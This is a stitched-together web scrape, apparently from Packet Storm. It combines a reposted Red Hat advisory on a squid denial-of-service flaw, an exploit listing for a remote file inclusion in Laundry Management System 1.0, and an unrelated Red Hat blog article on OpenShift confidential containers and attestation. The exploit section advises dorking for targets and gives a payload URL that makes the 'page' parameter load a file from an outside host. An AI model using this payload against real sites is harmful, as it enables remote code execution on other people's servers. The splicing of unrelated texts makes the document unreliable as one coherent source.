    The following advisory data is extracted from:https://access.redhat.com/security/data/csaf/v2/advisories/2024/rhsa-2024_5906.jsonRed Hat officially shut down their mailing list notifications October 10, 2023.  Due to this, Packet Storm has recreated the below data as a reference point to raise awareness.  It must be noted that due to an inability to easily track revision updates without crawling Red Hat's archive, these advisories are single notifications and we strongly suggest that you visit the Red Hat provided links to ensure you have the latest information available if the subject matter listed pertains to your environment.- Packet Storm Staff====================================================================Red Hat Security AdvisorySynopsis:           Moderate: squid security updateAdvisory ID:        RHSA-2024:5906-03Product:            Red Hat Enterprise LinuxAdvisory URL:       https://access.redhat.com/errata/RHSA-2024:5906Issue date:         2024-08-28Revision:           03CVE Names:          CVE-2024-37894====================================================================Summary: An update for squid is now available for Red Hat Enterprise Linux 9.2 Extended Update Support.Red Hat Product Security has rated this update as having a security impact of Moderate. A Common Vulnerability Scoring System (CVSS) base score, which gives a detailed severity rating, is available for each vulnerability from the CVE link(s) in the References section.Description:Squid is a high-performance proxy caching server for web clients, supporting FTP, Gopher, and HTTP data objects.Security Fix(es):* squid: Out-of-bounds write error may lead to Denial of Service (CVE-2024-37894)For more details about the security issue(s), including the impact, a CVSS score, acknowledgments, and other related information, refer to the CVE page(s) listed in the References section.Solution:https://access.redhat.com/articles/11258CVEs:CVE-2024-37894References:https://access.redhat.com/security/updates/classification/#moderatehttps://bugzilla.redhat.com/show_bug.cgi?id=2294353

Red Hat Security Advisory 2024-5906-03

Laundry Management System version 1.0 suffers from a remote file inclusion vulnerability.

**Laundry Management System 1.0 Remote File Inclusion**

Posted Aug 28, 2024

Authored by indoushka

Laundry Management System version 1.0 suffers from a remote file inclusion vulnerability.

tags | exploit, remote, code execution, file inclusion

SHA-256 | 8fab3cbba3b63d49ce3f1398516dff725855194afb4b9b834d890bf1ab8dff45

Download | Favorite | View

**Laundry Management System 1.0 Remote File Inclusion**

    =============================================================================================================================================| # Title     : Laundry Management System 1.0 File inclusion Vulnerability                                                                  || # Author    : indoushka                                                                                                                   || # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 128.0.3 (64 bits)                                                            || # Vendor    : https://www.campcodes.com/downloads/online-laundry-management-system-source-code/?wpdmdl=6058&refresh=66bbd3015dcfe1723585281     |=============================================================================================================================================poc :[+] Dorking İn Google Or Other Search Enggine.[+] USe Payload : /index.php?page=http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpg[+] http://127.0.0.1/laundry_Management_System/index.php?page=http://some-inexistent-website.acu/some_inexistent_file_with_long_name%3F.jpgGreetings to :============================================================jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * CraCkEr |==========================================================================

**File Tags**

*   ActiveX (933)
*   Advisory (86,567)
*   Arbitrary (16,906)
*   BBS (2,859)
*   Bypass (1,878)
*   CGI (1,034)
*   Code Execution (7,840)
*   Conference (691)
*   Cracker (844)
*   CSRF (3,412)
*   DoS (25,123)
*   Encryption (2,389)
*   Exploit (53,308)
*   File Inclusion (4,266)
*   File Upload (1,001)
*   Firewall (822)
*   Info Disclosure (2,893)
*   Intrusion Detection (916)
*   Java (3,144)
*   JavaScript (899)
*   Kernel (7,242)
*   Local (14,808)
*   Magazine (587)
*   Overflow (13,178)
*   Perl (1,435)
*   PHP (5,227)
*   Proof of Concept (2,396)
*   Protocol (3,731)
*   Python (1,648)
*   Remote (31,704)
*   Root (3,639)
*   Rootkit (528)
*   Ruby (632)
*   Scanner (1,657)
*   Security Tool (8,031)
*   Shell (3,281)
*   Shellcode (1,217)
*   Sniffer (902)
*   Spoof (2,279)
*   SQL Injection (16,629)
*   TCP (2,444)
*   Trojan (690)
*   UDP (904)
*   Virus (670)
*   Vulnerability (33,023)
*   Web (9,974)
*   Whitepaper (3,782)
*   x86 (967)
*   XSS (18,267)
*   Other

**File Archives**

*   August 2024
*   July 2024
*   June 2024
*   May 2024
*   April 2024
*   March 2024
*   February 2024
*   January 2024
*   December 2023
*   November 2023
*   October 2023
*   September 2023
*   Older

**Systems**

*   AIX (429)
*   Apple (2,099)
*   BSD (377)
*   CentOS (58)
*   Cisco (1,927)
*   Debian (7,110)
*   Fedora (1,693)
*   FreeBSD (1,246)
*   Gentoo (4,567)
*   HPUX (880)
*   iOS (378)
*   iPhone (108)
*   IRIX (220)
*   Juniper (69)
*   Linux (50,919)
*   Mac OS X (691)
*   Mandriva (3,105)
*   NetBSD (256)
*   OpenBSD (489)
*   RedHat (16,636)
*   Slackware (941)
*   Solaris (1,611)
*   SUSE (1,444)
*   Ubuntu (9,782)
*   UNIX (9,441)
*   UnixWare (187)
*   Windows (6,677)
*   Other

Laundry Management System 1.0 Remote File Inclusion

Red Hat OpenShift sandboxed containers, built on Kata Containers, provide the additional capability to run confidential containers (CoCo). This article continues our previous one, Exploring the OpenShift confidential containers solution and looks at different CoCo use cases and the ecosystem around the confidential compute attestation operator.Use cases for OpenShift confidential containersLet’s go over a few CoCo use cases.Secrets retrieval by the workload (pod)A workload (pod) may require secrets to perform different operations. For example, assume your workload runs a fine-tuned large lan

**Red Hat OpenShift sandboxed containers**, built on Kata Containers, provide the additional capability to run **confidential containers (CoCo)**. This article continues our previous one, Exploring the OpenShift confidential containers solution and looks at different CoCo use cases and the ecosystem around the **confidential compute attestation operator**.

**Use cases for OpenShift confidential containers**

Let’s go over a few CoCo use cases.

**Secrets retrieval by the workload (pod)**

A workload (pod) may require secrets to perform different operations. For example, assume your workload runs a fine-tuned large language model (LLM), your secret sauce. The LLM is encrypted, and the workload needs the decryption **key** to start using it. Before the workload gets the key, you want to ensure that the workload runs in a VM **Trusted Execution Environments** **(TEE)** to protect the plaintext LLM from unauthorized access by any admin. Similarly, if the workload needs private data, then the same can be encrypted and provided to the workload. The workload will decrypt the data inside the TEE using the decryption key received after attestation.

The following diagram shows how a workload (pod) obtains its secret after successful attestation:

The workload initiates an attestation sequence via the Trustee agents running in the VM TEE (CVM) to confirm the trustworthiness of the TEE and obtain the secret from the Key Broker Service (KBS). You can read more about the attestation process in our previous blog Understanding the Confidential Containers Attestation Flow.

**Verifying signed container images**

Verifying a container image's signature before launching is necessary to make sure the image has not been tampered with and contains the intended binaries. For example, it should not contain backdoors for accessing the secrets when running. After successful attestation, the VM TEE (CVM) retrieves the signing key from the KBS and uses it to verify the trustworthiness of the container image before running it inside the TEE.

The following diagram shows how the container image signing key is retrieved from KBS after successful attestation:

The Linux guest components initiate an attestation sequence via the Trustee agents in VM TEE (CVM) to confirm the trustworthiness of the TEE and obtain the container image signing key from the KBS before launching the container. Note that the image signature verification is inside the VM TEE and not on the worker node. This is a fundamental difference when doing signature verification at the worker node level as described in this documentation.

**Running an encrypted container image**

Suppose you have your secret data (e.g. your fine-tuned AI model) in the container image. You would want to use an encrypted container image to prevent unauthorized access to the image contents. In contrast to the previous signed image use case, the concerns shifted from someone tampering with our container image to someone viewing the content of the container's image. After successful attestation, the VM TEE (CVM) retrieves the decryption key from the KBS and uses it to decrypt the container image before running it inside the TEE.

The following diagram shows how the container image decryption key is retrieved from KBS after successful attestation:

The Linux guest components initiate an attestation sequence via the Trustee agents running in the VM TEE(CVM)  to confirm the trustworthiness of the TEE and obtain the container image decryption key from the KBS before launching the container.

**Ecosystem for attestation and key management solutions**

A key benefit the Trustee solution brings is that it works with other attestation and key management solutions while exposing the same APIs towards the Trustee agents components inside the CVM.

**Working with other key managers**

The confidential compute attestation operator simplifies configuring keys and serving them to TEEs. You can set up the required TEE secrets as OpenShift Secret objects and have the operator make them accessible through Trustee. You can use the same mechanism to integrate with external secret managers. For instance, you can utilize the Secrets store CSI driver or the External Secrets Operator to sync secrets from external sources (such as HashiCorp Vault) and make them available to the remote TEEs.

The following diagram shows the connection between Trustee and third-party secret store solutions: 

**Working with other attestation solutions**

The confidential compute attestation operator can also use external attestation services (AS) supported by Trustee. For example Trustee supports Intel Trust Authority (ITA) and the same can be configured via the operator.

The value that confidential compute attestation operator brings for such deployments is the abstraction of third-party attestation services from OpenShift confidential containers. The same interfaces are used between the Trustee agent and KBS regardless of the backend attestation service being used.

**OpenShift confidential containers in action**

This demo shows how a confidential container created with the Openshift Sandboxed containers operator can retrieve secrets from the Trustee operator by performing remote attestation.

**Wrap up**

We have described the ecosystem surrounding attestation and key management solutions provided by the **confidential compute attestation operator**. We have also described a few use cases for **OpenShift confidential containers** and will introduce additional use cases in the future. Future articles will offer detailed, hands-on instructions for using OpenShift confidential containers, as well as guidelines for deployment models.

Learn more about confidential containers

Tag

#linux